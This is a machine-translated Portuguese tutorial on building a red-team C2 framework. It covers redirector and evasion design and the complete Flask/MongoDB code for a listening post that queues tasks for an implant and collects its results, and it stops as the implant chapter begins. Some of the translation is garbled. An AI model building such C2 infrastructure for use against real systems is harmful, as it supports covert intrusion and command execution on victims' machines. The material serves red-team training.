Introdução Uma
introdução ao conteúdo do livro e o que esperar.
Os implantes de software C2 são uma parte fundamental de qualquer operação da Red Team. Ao longo dos anos, houve uma proliferação de ambientes C2 para ajudar a configurar e gerenciar implantes de software no ambiente de destino. Isso inclui títulos como Empire, Cobalt Strike, Covenant, Merlin, Mythic, SILENTTRINITY, PoshC2, Liver e muitos mais. A lista cresceu tanto que esforços foram feitos para rastrear o número de ambientes C2 lançados sob o nome https://www.thec2matrix.com/. Para alguém que estuda táticas inimigas, este é um momento incrível para estudar essas coisas e determinar as qualidades de um bom implante. Com uma abundância de postagens de blog e conferências sobre o assunto C2, agora é o momento perfeito para tentar construir seu próprio ambiente C2. Saber como os fundamentos dessas estruturas C2 são construídos fornecerá as habilidades necessárias para personalizar as ferramentas disponíveis para suas próprias necessidades ou você se beneficiará de uma solução personalizada desconhecida dos fornecedores de AV/EDR. Este livro visa dar-lhe um conhecimento básico de estruturas e implantes C2.
Olhando para a lista de software de código aberto C2, as linguagens de programação mais populares são C#, Python, PowerShell e Go. A linguagem C++ está começando a ter alguns problemas, mas no momento em que este livro foi escrito, ela não tinha muitas introduções e é mais difícil encontrar recursos sobre como escrever um implante C2 em C++. Existem várias vantagens em aprender a escrever um implante C2 em C++, a maior delas é permitir que você interaja facilmente com a API do Windows, e executáveis tendem a ser mais difíceis de fazer engenharia reversa em comparação com implantes escritos em C#, Python ou PowerShell. O C++ moderno também possui muitos recursos interessantes que valem a pena aplicar a um assunto como o C2. Este livro mostrará como você pode começar a construir implantes C2 usando C++ moderno.
A estrutura do livro começa com alguma teoria de design de estrutura C2 e princípios fundamentais. Ele é seguido por um projeto Python para configurar um servidor C2 e construir os principais componentes do implante em C++. Por fim, acabamos criando um cliente CLI que pode ser usado para interagir facilmente com o ouvinte e o implante.
O conteúdo é o seguinte:
Introdução
Capítulo 1: Projetando a infraestrutura C2
Capítulo 2: Instalando o ouvinte
Capítulo 3: Implantes e tarefas básicas
Capítulo 4: Operator CLI Client
Conclusão
Agradecimentos especiais
Agradecimentos especiais
Todo o código-fonte usado neste livro é de código aberto e está disponível em o seguinte repositório GitHub:https://github.com/shogunlab/building-c2-implants-in-cpp
O público deste livro é principalmente pessoas novas no desenvolvimento de implantes e aqueles que não têm muita experiência em C++. Estou assumindo algum conhecimento necessário, como estar familiarizado com os fundamentos do desenvolvimento de software, mas tentarei explicar o máximo que puder. Na parte posterior 2, pretendo cobrir tópicos que não são destinados a iniciantes, mas para este tutorial, quero criar uma base sólida que seja fácil/fácil de começar.
Finalmente, gostaria de agradecer às seguintes pessoas e grupos por fornecerem inspiração para este livro e me darem as habilidades para explorar este tópico:
https://nostarch.com/cppcrashcourse
https://specterops.io/resources/adversa … perations/
https://www.netspi.com/training/dark-si … lware-dev/
Capítulo 1: Projetando a infraestrutura C2
Discutindo os conceitos e o design da infraestrutura C2
Introdução
Neste capítulo, abordaremos os conceitos básicos de software de Comando e Controle (C2) e práticas avançadas de projeto. Nosso objetivo nesta seção é entender como é uma "boa" infraestrutura C2 e planejar uma base sólida sobre a qual construir componentes melhores.
Configuração básica C2
Vamos começar discutindo o projeto da configuração básica do C2. Primeiro, precisamos de um servidor que publique nossas tarefas e receba os resultados dessas tarefas (também conhecido como "ouvinte"). Em seguida, precisamos de um programa que será executado no computador de destino e entrará em contato com nosso servidor periodicamente para descobrir quais tarefas executar, concluir essas tarefas e responder com os resultados (também conhecido como "implante"). Por fim, precisamos de um cliente onde o operador possa facilmente criar, gerenciar e enviar tarefas. As tarefas podem incluir coisas como retornar informações sobre o computador/rede em que o implante está sendo executado, executar comandos do sistema operacional, enumerar processos/threads, injetar em outro processo, estabelecer persistência ou roubar credenciais para movimentação lateral.
No diagrama acima, há uma série de problemas com nosso projeto básico. Primeiro, não é difícil para os defensores identificar diretamente seu posto de escuta e tomar ações direcionadas para interromper o canal C2. Em segundo lugar, não é segmentado, você faz todas as suas ações ofensivas por meio de um canal e de um servidor. É fácil para os defensores destruir todo o seu C2.
Adicionando Resiliência
Para tornar nossa configuração básica mais tolerante a falhas, podemos incluir outro servidor que proxie a comunicação com os implantes e redireciona o tráfego para o posto de escuta, também conhecido como "redirecionador". Com a inclusão dos redirecionadores, você nunca mais precisará revelar o endereço do seu posto de escuta ao implante. Assim, você priva esta informação de qualquer defensor que intercepte/analise suas mensagens C2. Outra vantagem é que você pode ter vários endereços de redirecionamento em seus implantes e, portanto, se um de seus redirecionadores for desativado ou bloqueado, seu implante pode simplesmente voltar a usar um dos outros.
Para resolver o problema de segmentação, você pode ter vários postos de escuta responsáveis por lidar com diferentes aspectos do seu trabalho. Por exemplo, uma maneira de segmentar um design é ter um servidor que lide com as comunicações C2 diárias e seja projetado para ações do tipo "mãos no teclado", nas quais você precisa de feedback instantâneo ou tarefas de "atalho". Você pode então ter outro servidor que será usado para restaurar o acesso à rede de destino ou para executar tarefas de "longo prazo". A ideia é que você espere que seu link de curta distância mais barulhento caia regularmente e você pode usar o link de buraco longo mais silencioso para recuperar o acesso. Idealmente, seu canal longo C2 também deve ter diferentes indicadores de rede/host.
Neste livro, vamos nos concentrar na construção de uma configuração simples que consiste apenas no poste de escuta, no implante e no cliente do operador. Uma seção sobre a adição de recursos que tornam este projeto mais do que uma estrutura básica está planejada para a parte dois. Mas neste tutorial, vamos simplificar.
Recursos de implante e ouvinte C2
Agora que entendemos o layout geral da infraestrutura C2, é hora de mergulhar nos detalhes das funções de escuta e implante para a configuração básica com a qual começamos. O posto de escuta deve permitir que os usuários enviem tarefas e as publiquem para recuperação pelo implante. Ele também deve permitir que os usuários leiam as tarefas enviadas. Nosso canal C2 inicial será por HTTP, então o posto de escuta precisa publicar tarefas ao receber uma solicitação GET do implante e aceitar os resultados da tarefa da solicitação POST do implante. Podemos implementar essas ações como uma API REST para fornecer fácil integração com uma plataforma web front-end ou cliente CLI. No que diz respeito ao nosso implante, ele precisa ser capaz de operações assíncronas para que possa continuar se comunicando com o posto de escuta durante a execução de tarefas.
- Configurar os parâmetros do implante
- Ping
- Executar comandos do sistema
- Reunir informações do fluxo do processo
Finalmente, precisamos de uma maneira conveniente de interagir com nosso posto de escuta como operador. Portanto, criaremos um cliente CLI do operador que pode se comunicar com a postagem do ouvinte. Nosso cliente de linha de comando será básico e nos permitirá começar com uma interface simples que pode ser criada rapidamente. Queremos que o operador possa enviar novas tarefas, visualizar o histórico das tarefas enviadas e recuperar os resultados das tarefas enviadas.
Nosso framework C2 completo será chamado de Natsumi e incluirá os seguintes componentes principais:
- Skytree : Nosso posto de escuta HTTP.
- RainDoll : nosso implante C2 em C++.
- Fireworks : cliente CLI do nosso operador.
Conclusão
Neste capítulo, tivemos uma ideia do que o ambiente C2 principal deve fornecer. Também apresentamos nossos planos para o projeto C2 que construiremos neste livro e os recursos que desejamos que ele tenha. Espero que você já esteja animado para começar a construir essas coisas. No Capítulo 2, começaremos nosso trabalho com uma mensagem de ouvinte e veremos como pode ser fácil desenvolver uma API REST para uso por nossos implantes. Vejo você no próximo capítulo!
https://posts.specterops.io/designing-e … 7d4289af43
https://www.netspi.com/blog/technical/a … structure/
https://github.com/bluscreenofjeff/Red- … cture-Wiki
Capítulo 2: Instalando o posto de escuta
Crie um HTTP básico, API REST e posto de escuta do banco de dados.
Usando o código-fonte
Este é o capítulo em que começaremos a escrever todo o nosso código. Você pode baixar os arquivos fonte para este tutorial a partir do link na parte superior da página chamado "Código fonte do livro". Dentro você encontrará o código final do projeto e versões adicionais em várias pastas de "capítulos". Você pode seguir a codificação à medida que avança ou simplesmente pular para diferentes pontos usando os projetos da pasta de capítulos.
Se você notar algo que pode ser melhorado e quiser enviar um pull request ou apenas visualizar o código-fonte no GitHub, o repositório pode ser encontrado aqui:
https://github.com/shogunlab/building-c … nts-in-cpp
Introdução
Nosso posto de escuta, conhecido como Skytree , será criado comhttps://flask.palletsprojects.com/en/1.1.x/ , um plug-in REST API chamado https://flask-restful.readthedocs.io/en/latest/ , e usaremos https://www. mongodb .com/, armazenamento de banco de dados. Em um nível alto, ele deve ser capaz de manter tarefas para o implante, manter registros de tarefas enviadas e receber os resultados dessas tarefas. A razão pela qual escolhi o Flask para construir a API REST é porque me sinto confortável programando em Python e posso começar rapidamente. Além disso, acho que o código-fonte é muito fácil de ler e entender se você está apenas começando. Decidi usar o MongoDB para armazenamento porque estou familiarizado com ele e queria usar algo que pudesse aceitar facilmente os resultados JSON de um implante. Não tenho um forte motivo técnico para escolher o MongoDB, portanto, sinta-se à vontade para modificar o código-fonte para usar um banco de dados SQL, se essa for sua preferência.
Vamos dar o primeiro passo e escrever o código inicial para nossa postagem de ouvinte HTTP. Baixe o código-fonte deste livro e descompacte-o. Vamos instalar alguns pacotes Python, então recomendo usar uma ferramenta como https://virtualenv.pypa.io/en/latest/installation.html para ter um ambiente de instalação limpo. Mude para o diretório chamado " Chapter_2-1" . Navegue até a pasta "Skytree" em uma janela de terminal e execute o comando para garantir que você tenha as bibliotecas Python necessárias instaladas para o projeto. Para o banco de dados, você precisa instalar o pip install -r requirements.txt https://www.mongodb.com/try/download/community. Você pode ler um guia de instalação detalhado aqui https://docs.mongodb.com/manual/tutoria … n-windows/ se tiver algum problema. Em seguida, abra a pasta "Skytree" em seu editor de código preferido e encontre o arquivo nomeado. Você verá o seguinte conteúdo:
import json
import resources
from flask import Flask
from flask_restful import Api
from database.db import initialize_db
# Initialize our Flask app
app = Flask(__name__)
# Configure our database on localhost
app.config['MONGODB_SETTINGS'] = {
'host': 'mongodb://localhost/skytree'
}
# Initialize our database
initialize_db(app)
# Initialize our API
api = Api(app)
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
# Start the Flask app in debug mode
if __name__ == '__main__':
app.run(debug=True)
Banco de dados inicial e arquivo de modelos
Vamos dar uma olhada em cada um dos principais blocos de código no arquivo acima. Vamos começar inicializando o aplicativo Flask e o banco de dados:
import json
import resources
from flask import Flask
from flask_restful import Api
from database.db import initialize_db
# Initialize our Flask app
app = Flask(__name__)
# Configure our database on localhost
app.config['MONGODB_SETTINGS'] = {
'host': 'mongodb://localhost/skytree'
}
# Initialize our database
initialize_db(app)
Vá para a pasta "database" e você verá dois arquivos:
- db.py
- models.py
Abra db.py e você verá o seguinte:
from flask_mongoengine import MongoEngine
# Initialize MongoEngine and our database
db = MongoEngine()
def initialize_db(app):
db.init_app(app)
O código acima inicializa o banco de dados e usa nossa aplicação Flask como entrada. Abra o arquivo models.py e você verá onde definimos nossos modelos:
from database.db import db
# Define Task object in database
class Task(db.DynamicDocument):
task_id = db.StringField(required=True)
O código acima informa ao banco de dados sobre cada campo que armazenamos e quais dados esperar. Para simplificar, estamos usando um "documento dinâmico" para não precisar especificar todos os campos. No modelo de tarefa, exigimos que um identificador seja fornecido para garantir que possamos acompanhar cada tarefa e comparar os resultados. Cada vez que adicionamos um novo recurso para a API REST, queremos colocar a especificação do modelo correspondente neste arquivo.
API e recursos REST
Para facilitar o teste da API REST que estamos construindo, usaremos uma ferramenta chamada https://www.postman.com/downloads/. Você não precisa de uma conta para usar a ferramenta, basta selecionar a opção "pular" ao iniciar o aplicativo pela primeira vez. Acho essa ferramenta útil para experimentar APIs e interagir com elas facilmente. Incluí um arquivo de coleção do Postman para referência chamado "Skytree_REST_API.postman_collection.json" no diretório raiz dos arquivos de código-fonte do livro. Você pode importar essa coleção e usá-la para fazer as solicitações de API mencionadas neste capítulo. Como alternativa, incluí trechos do PowerShell para fazer solicitações de API, caso você prefira não usar o Postman.
Agora, de volta ao arquivo listening_post.py. No próximo bloco, configuramos a API REST e especificamos os recursos que mapeiam para cada um dos endpoints da API:
# Initialize our API
api = Api(app)
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
O terminal "/tasks" será responsável por lidar com a criação de tarefas e exibir as tarefas existentes. Daremos uma olhada mais de perto neste recurso em breve, mas aqui estamos apenas definindo uma rota.
Por fim, no último bloco do nosso arquivo listen_post.py, executamos o aplicativo Flask em modo de depuração:
# Start the Flask app in debug mode
if __name__ == '__main__':
app.run(debug=True)
Para garantir que tudo funcione conforme o esperado com nosso código inicial, tente executar o comando python listening_post.py da pasta Skytree e navegue até o seguinte endereço em seu navegador http://127.0.0.1:5000/tasks . Você deve ver uma mensagem curta dizendo "GET Success!".
Vamos adicionar comportamento para nosso recurso "tarefas". Abra o arquivo chamado resources.py e você verá o seguinte conteúdo:
import uuid
import json
from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task
class Tasks(Resource):
# ListTasks
def get(self):
# Add behavior for GET here
return "GET success!", 200
# AddTasks
def post(self):
# Add behavior for POST here
return "POST success!", 200
API
Primeiro definimos o comportamento das requisições GET. Vamos pegar todos os objetos Task que temos no banco de dados, convertê-los para o formato JSON e colocá-los em uma variável. Em seguida, retornamos isso na resposta GET
# ListTasks
def get(self):
# Get all the task objects and return them to the user
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)
Para POST, vamos primeiro obter a carga JSON do corpo da solicitação e descobrir quantos objetos Task estão na solicitação. Em seguida, iremos carregá-lo em um objeto JSON e, para cada objeto Task, adicionar um UUID de rastreamento e armazená-lo no banco de dados. Finalmente, armazenamos tudo depois de "task_type" e "task_id" no array "task_options" para que possamos armazená-lo posteriormente no objeto TaskHistory. Retornamos uma resposta que inclui os objetos Task que foram adicionados ao banco de dados.
# AddTasks
def post(self):
# Parse out the JSON body we want to add to the database
body = request.get_json()
json_obj = json.loads(json.dumps(body))
# Get the number of Task objects in the request
obj_num = len(body)
# For each Task object, add it to the database
for i in range(len(body)):
# Add a task UUID to each task object for tracking
json_obj[i]['task_id'] = str(uuid.uuid4())
# Save Task object to database
Task(**json_obj[i]).save()
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
# Anything that comes after task_type and task_id is treated as an option
if (key != "task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[i][key])
# Return the last Task objects that were added
return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
mimetype="application/json",
status=200)
Quando terminar de adicionar o código POST, seu arquivo resources.py deve ficar assim:
import uuid
import json
from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task
class Tasks(Resource):
# ListTasks
def get(self):
# Get all the task objects and return them to the user
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)
# AddTasks
def post(self):
# Parse out the JSON body we want to add to the database
body = request.get_json()
json_obj = json.loads(json.dumps(body))
# Get the number of Task objects in the request
obj_num = len(body)
# For each Task object, add it to the database
for i in range(len(body)):
# Add a task UUID to each task object for tracking
json_obj[i]['task_id'] = str(uuid.uuid4())
# Save Task object to database
Task(**json_obj[i]).save()
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
# Anything that comes after task_type and task_id is treated as an option
if (key != "task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[i][key])
# Return the last Task objects that were added
return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
mimetype="application/json",
status=200)
Vamos testar nossa API AddTasks. Inicie a postagem de escuta com o seguinte:
python listening_post.py
Depois de iniciar a postagem de escuta, faça a seguinte solicitação POST no seguinte formato (começando com uma simples tarefa "ping"):
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json
[
{
"task_type":"ping"
}
]
Você também pode fazer a solicitação POST acima com as seguintes linhas de comando do PowerShell:
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")
$body = "[`n {`n `"task_type`":`"ping`"`n }`n]"
$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
Você deve receber uma resposta parecida com esta:
[
{
"_id": {
"$oid": "5f37310f6adea94a3b8bdc3c"
},
"task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
"task_type": "ping"
}
]
Agora vamos testar a API ListTasks visitando o site ( http://127.0.0.1:5000/tasks ) em um navegador. Você deve receber uma resposta parecida com esta:
[
{
"_id": {
"$oid": "5f37310f6adea94a3b8bdc3c"
},
"task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
"task_type": "ping"
}
]
Sinta-se à vontade para experimentar as APIs ListTasks e AddTasks. Você pode adicionar várias tarefas de ping e verá que cada uma é adicionada ao banco de dados e, em seguida, listada na resposta JSON quando ListTasks é chamado:
[
{
"_id": {
"$oid": "5f37310f6adea94a3b8bdc3c"
},
"task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
"task_type": "ping"
},
{
"_id": {
"$oid": "5f3731c46adea94a3b8bdc3d"
},
"task_id": "aa66f366-e699-44ae-a75b-2be72b62da2d",
"task_type": "ping"
},
{
"_id": {
"$oid": "5f3731c76adea94a3b8bdc3e"
},
"task_id": "fe9b1fa8-9ff4-4b41-9df2-012084e09a60",
"task_type": "ping"
}
]
API de resultados
Você pode encontrar o conteúdo completo do projeto em uma pasta chamada " head_2-2" . Agora vamos adicionar nossa API de resultados, ListResults e AddResults. Primeiro, escreva o seguinte código para definir nosso objeto Result no banco de dados:
from database.db import db
# Define Task object in database
class Task(db.DynamicDocument):
task_id = db.StringField(required=True)
# Define Result object in database
class Result(db.DynamicDocument):
result_id = db.StringField(required=True)
Em seguida, editaremos nosso arquivo resources.py para importar o objeto de banco de dados Result:
from database.models import Task, Result
Agora podemos começar a adicionar lógica para a API de resultados com o seguinte modelo:
class Results(Resource):
# ListResults
def get(self):
# Add behavior for GET here
return "GET success!", 200
# AddResults
def post(self):
# Add behavior for POST here
return "POST success!", 200
A API ListResults pode ser criada adicionando o seguinte código para retornar os resultados ao usuário como uma resposta JSON:
# ListResults
def get(self):
# Get all the result objects and return them to the user
results = Result.objects().to_json()
return Response(results, mimetype="application.json", status=200)
Você notará que o código acima é muito semelhante à API ListTasks. Começaremos a criar a API AddResults manipulando a solicitação POST. Primeiro verificamos se os resultados retornados estão vazios e, se estiverem preenchidos, analisamos o JSON no corpo da solicitação. Salvamos cada objeto Result no banco de dados e obtemos uma lista de objetos Task aguardando para serem entregues ao implante. Removemos os objetos Task que servimos para o implante para que as tarefas nunca sejam executadas duas vezes. Em seguida, enviamos objetos Task para o implante em resposta à solicitação POST:
# AddResults
def post(self):
# Check if results from the implant are populated
if str(request.get_json()) != '{}':
# Parse out the result JSON that we want to add to the database
body = request.get_json()
print("Received implant response: {}".format(body))
json_obj = json.loads(json.dumps(body))
# Add a result UUID to each result object for tracking
json_obj['result_id'] = str(uuid.uuid4())
Result(**json_obj).save()
# Serve latest tasks to implant
tasks = Task.objects().to_json()
# Clear tasks so they don't execute twice
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
Adicionamos uma verificação "else" para lidar com os casos em que nenhum resultado é retornado e simplesmente retornamos os objetos Task pendentes e os descartamos:
else:
# Serve latest tasks to implant
tasks = Task.objects().to_json()
# Clear tasks so they don't execute twice
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
Quando terminar, seu arquivo resources.py deve ficar assim:
import uuid
import json
from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result
class Tasks(Resource):
# ListTasks
def get(self):
# Get all the task objects and return them to the user
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)
# AddTasks
def post(self):
# Parse out the JSON body we want to add to the database
body = request.get_json()
json_obj = json.loads(json.dumps(body))
# Get the number of Task objects in the request
obj_num = len(body)
# For each Task object, add it to the database
for i in range(len(body)):
# Add a task UUID to each task object for tracking
json_obj[i]['task_id'] = str(uuid.uuid4())
# Save Task object to database
Task(**json_obj[i]).save()
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
# Anything that comes after task_type and task_id is treated as an option
if (key != "task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[i][key])
# Return the last Task objects that were added
return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
mimetype="application/json",
status=200)
class Results(Resource):
# ListResults
def get(self):
# Get all the result objects and return them to the user
results = Result.objects().to_json()
return Response(results, mimetype="application.json", status=200)
# AddResults
def post(self):
# Check if results from the implant are populated
if str(request.get_json()) != '{}':
# Parse out the result JSON that we want to add to the database
body = request.get_json()
print("Received implant response: {}".format(body))
json_obj = json.loads(json.dumps(body))
# Add a result UUID to each result object for tracking
json_obj['result_id'] = str(uuid.uuid4())
Result(**json_obj).save()
# Serve latest tasks to implant
tasks = Task.objects().to_json()
# Clear tasks so they don't execute twice
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
else:
# Serve latest tasks to implant
tasks = Task.objects().to_json()
# Clear tasks so they don't execute twice
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
A última coisa que precisamos para concluir a API de resultados é abrir o arquivo listen_post.py e adicionar o seguinte código, que vincula o recurso "Results" ao endpoint "/results":
POST /results HTTP/1.1
Host: localhost:5000
Content-Type: application/json
{
"c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
"contents": "PONG!",
"success": "true"
}
}
A solicitação POST acima pode ser feita usando as seguintes linhas de comando do PowerShell:
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")
$body = "{
`n `"c839c32a-9338-491b-9d57-30a4bfc4a2e8`": {
`n `"contents`": `"PONG!`",
`n `"success`": `"true`"
`n }
`n}"
$response = Invoke-RestMethod 'http://localhost:5000/results' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
Você receberá uma resposta de matriz vazia se não tiver adicionado novas tarefas ou retornará algumas tarefas se as tiver adicionado antes de chamar a API AddResults:
[
{
"_id": {
"$oid": "5f37540c87f8d76f8e578cff"
},
"task_id": "3bfd8e20-00f2-479d-b42f-f8af337b8aae",
"task_type": "ping"
}
]
Navegue até o endpoint http://localhost:5000/results e você verá os resultados fictícios da tarefa Ping salva:
[
{
"_id": {
"$oid": "5f9ee7b276f94422b607e08e"
},
"result_id": "13b47ed9-35f2-4e36-ae3e-2a683eaca0fc",
"c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
"contents": "PONG!",
"success": "true"
}
}
]
API de histórico de tarefas
Você encontrará o código do projeto que criamos até agora em uma pasta chamada " capítulo-2-3 ". A última API que adicionaremos é ListHistory, que retornará todas as tarefas que foram concluídas com sucesso para um implante e seus resultados associados (quando recebidos de um implante). Novamente, vamos começar definindo o objeto TaskHistory em nosso arquivo models.py:
from database.db import db
# Define Task object in database
class Task(db.DynamicDocument):
task_id = db.StringField(required=True)
# Define Result object in database
class Result(db.DynamicDocument):
result_id = db.StringField(required=True)
# Define TaskHistory object in database
class TaskHistory(db.DynamicDocument):
task_object = db.StringField()
Adicione "TaskHistory" como uma importação na parte superior do arquivo resources.py:
from database.models import Task, Result, TaskHistory
Em seguida, modificaremos nossa API AddTasks para copiar as tarefas enviadas ao implante para nossa coleção TaskHistory:
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
# Anything that comes after task_type and task_id is treated as an option
if (key != "task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[i][key])
# Add to task history
TaskHistory(
task_id=json_obj[i]['task_id'],
task_type=json_obj[i]['task_type'],
task_object=json.dumps(json_obj),
task_options=task_options,
task_results=""
).save()
Agora vamos adicionar algum esqueleto para nossa API ListHistory resources.py ao arquivo:
class History(Resource):
# ListHistory
def get(self):
# Add behavior for GET here
return "GET success!", 200
A primeira coisa que faremos nesta API é obter todos os objetos TaskHistory e armazená-los em uma variável para voltar mais tarde e armazenar todos os resultados que tivermos em uma coleção para que possamos combiná-los com as tarefas:
# ListHistory
def get(self):
# Get all the task history objects so we can return them to the user
task_history = TaskHistory.objects().to_json()
# Update any served tasks with results from implant
# Get all the result objects and return them to the user
results = Result.objects().to_json()
json_obj = json.loads(results)
Em seguida, formatamos cada resultado para ser mais conveniente para nós e os exibimos com o task_id correspondente aos parâmetros task_results:
# Format each result from the implant to be more friendly for consumption/display
result_obj_collection = []
for i in range(len(json_obj)):
for field in json_obj[i]:
result_obj = {
"task_id": field,
"task_results": json_obj[i][field]
}
result_obj_collection.append(result_obj)
Por fim, procuramos quaisquer resultados com um ID de tarefa que corresponda às tarefas que atendemos anteriormente e os inserimos no objeto TaskHistory apropriado, após o qual retornamos os objetos TaskHistory ao usuário:
# For each result in the collection, check for a corresponding task ID and if
# there's a match, update it with the results. This is hacky and there's probably
# a more elegant solution to update tasks with their results when they come in...
for result in result_obj_collection:
if TaskHistory.objects(task_id=result["task_id"]):
TaskHistory.objects(task_id=result["task_id"]).update_one(
set__task_results=result["task_results"])
return Response(task_history, mimetype="application/json", status=200)
Provavelmente existe uma maneira mais elegante e simples de fazer o que foi dito acima, mas por enquanto é bom para nossos propósitos.
O arquivo resources.py completo deve ficar assim:
import uuid
import json
from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result, TaskHistory
class Tasks(Resource):
# ListTasks
def get(self):
# Get all the task objects and return them to the user
tasks = Task.objects().to_json()
return Response(tasks, mimetype="application/json", status=200)
# AddTasks
def post(self):
# Parse out the JSON body we want to add to the database
body = request.get_json()
json_obj = json.loads(json.dumps(body))
# Get the number of Task objects in the request
obj_num = len(body)
# For each Task object, add it to the database
for i in range(obj_num):
# Add a task UUID to each task object for tracking
json_obj[i]['task_id'] = str(uuid.uuid4())
# Save Task object to database
Task(**json_obj[i]).save()
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
# Anything that comes after task_type and task_id is treated as an option
if (key != "task_type" and key != "task_id"):
task_options.append(key + ": " + json_obj[i][key])
# Add to task history
TaskHistory(
task_id=json_obj[i]['task_id'],
task_type=json_obj[i]['task_type'],
task_object=json.dumps(json_obj),
task_options=task_options,
task_results=""
).save()
# Return the last Task objects that were added
return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
mimetype="application/json",
status=200)
class Results(Resource):
# ListResults
def get(self):
# Get all the result objects and return them to the user
results = Result.objects().to_json()
return Response(results, mimetype="application.json", status=200)
# AddResults
def post(self):
# Check if results from the implant are populated
if str(request.get_json()) != '{}':
# Parse out the result JSON that we want to add to the database
body = request.get_json()
print("Received implant response: {}".format(body))
json_obj = json.loads(json.dumps(body))
# Add a result UUID to each result object for tracking
json_obj['result_id'] = str(uuid.uuid4())
Result(**json_obj).save()
# Serve latest tasks to implant
tasks = Task.objects().to_json()
# Clear tasks so they don't execute twice
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
else:
# Serve latest tasks to implant
tasks = Task.objects().to_json()
# Clear tasks so they don't execute twice
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
class History(Resource):
# ListHistory
def get(self):
# Get all the task history objects so we can return them to the user
task_history = TaskHistory.objects().to_json()
# Update any served tasks with results from implant
# Get all the result objects and return them to the user
results = Result.objects().to_json()
json_obj = json.loads(results)
# Format each result from the implant to be more friendly for consumption/display
result_obj_collection = []
for i in range(len(json_obj)):
for field in json_obj[i]:
result_obj = {
"task_id": field,
"task_results": json_obj[i][field]
}
result_obj_collection.append(result_obj)
# For each result in the collection, check for a corresponding task ID and if
# there's a match, update it with the results. This is hacky and there's probably
# a more elegant solution to update tasks with their results when they come in...
for result in result_obj_collection:
if TaskHistory.objects(task_id=result["task_id"]):
TaskHistory.objects(task_id=result["task_id"]).update_one(
set__task_results=result["task_results"])
return Response(task_history, mimetype="application/json", status=200)
A última coisa a adicionar para ter uma API ListHistory totalmente funcional é adicionar o seguinte ao arquivo listening_post.py:
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')
api.add_resource(resources.History, '/history')
Isso é tudo! Você encontrará o projeto completo do posto de escuta Skytree na pasta Chapter_2-4 . Você pode obter uma lista do histórico de tarefas visitando o ponto de extremidade ListHistory ( http://127.0.0.1:5000/history ). Estará vazio se você não fez nenhuma solicitação AddTask Se você fizer uma solicitação AddTask agora com uma tarefa de ping e depois chamar ListHistory, deverá obter uma resposta semelhante a esta:
[
{
"_id": {
"$oid": "5f3760aa50954f9c61397b8e"
},
"task_object": "[{\"task_type\": \"ping\", \"task_id\": \"59906de7-8739-4738-a69d-864f9a37cb3b\"}]",
"task_id": "59906de7-8739-4738-a69d-864f9a37cb3b",
"task_type": "ping",
"task_options": [],
"task_results": ""
}
]
Você verá que o objeto TaskHistory consiste no objeto de tarefa JSON original que foi enviado para o implante e nos parâmetros de tarefa fornecidos. Quando o implante retornar um resultado, o campo task_results será atualizado com o conteúdo do resultado.
Conclusão
Parabéns pelo trabalho bem feito! Se você chegou a esse ponto, agora tem um posto de escuta HTTP em funcionamento com o qual nosso implante pode conversar! Podemos usar isso para enviar novas tarefas ao nosso implante e receber os resultados das tarefas que enviamos. Também temos a capacidade de associar tarefas específicas a resultados e exibir um histórico de tarefas enviadas pelos operadores.
Vale reiterar que este é um post bem simples de ouvir, mas que aborda os elementos básicos que um sistema de comando e controle deve oferecer. Enquanto você está apenas começando, é bom manter as coisas simples e trabalhar em métodos/recursos mais avançados quando estiver confiante no básico. Alguns exemplos do que pode ser construído no futuro incluem:
- Controles de autenticação/autorização -
API de gerenciamento de usuários
- Configuração inicial/script de instalação após
a escuta No próximo capítulo, começaremos a escrever algum código C++ e implantar nosso implante para concluir o próximo importante componente do nosso projeto C2.
Capítulo 3: Fundamentos e Tarefas do Implante
Criando um implante C++ básico e adicionando novas tarefas.
Introdução
Neste capítulo, criaremos um implante básico chamado RainDoll completando algumas tarefas simples. As tarefas serão:
- Ping: ao receber uma mensagem de ping, responda com uma mensagem de pong.
- Configurar: Defina os parâmetros específicos do implante, como o estado operacional e o tempo de atraso.
- Executar: Executa comandos do sistema operacional fornecidos pelo usuário.
- ListThreads : Lista de threads neste processo.
